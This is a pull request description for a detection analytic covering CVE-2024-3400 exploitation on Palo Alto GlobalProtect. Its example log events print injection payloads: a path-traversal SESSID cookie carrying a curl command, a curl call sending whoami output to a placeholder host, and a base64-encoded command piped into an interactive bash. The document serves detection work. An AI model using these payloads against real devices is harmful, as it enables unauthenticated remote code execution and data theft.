New analytic for CVE-2024-3400

[netgrain]

Summary of the Pull Request

Adds analytic to detect suspicious file creation activity related to the exploitation of CVE-2024-3400.

Note that CVE-2024-3400 is a chained exploit consisting of two vulnerabilities:

• Vuln 1: Arbitrary file creation (has no CVE designation, but is similarly fixed in the PA hotfix)
• Vuln 2: Command injection (commonly referred to as CVE-2024-3400)

This analytic covers both vulnerabilities and is validated based on non-public incidents.

Changelog

new: Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation

Example Log Event

• https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
• https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

Network request

Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226curl${IFS}x1.outboundhost.com;

Device log entry

/opt/panlogs/tmp/device_telemetry/hour/soTetea1curl${IFS}http://a.b.c.d/?u=$(whoami) /opt/panlogs/tmp/device_telemetry/minute/h4echo${IFS}OTYkKHVuYW1lIC1hKSA+IC92YXIvYXBwd2ViL3NzbHZwbmRvY3MvZ2xvYmFsLXByb3RlY3QvcG9ydGFsL2ltYWdlcy9wYWxvYWx0by1sb2dvLnR4dA==|base64${IFS}-d|bash${IFS}-i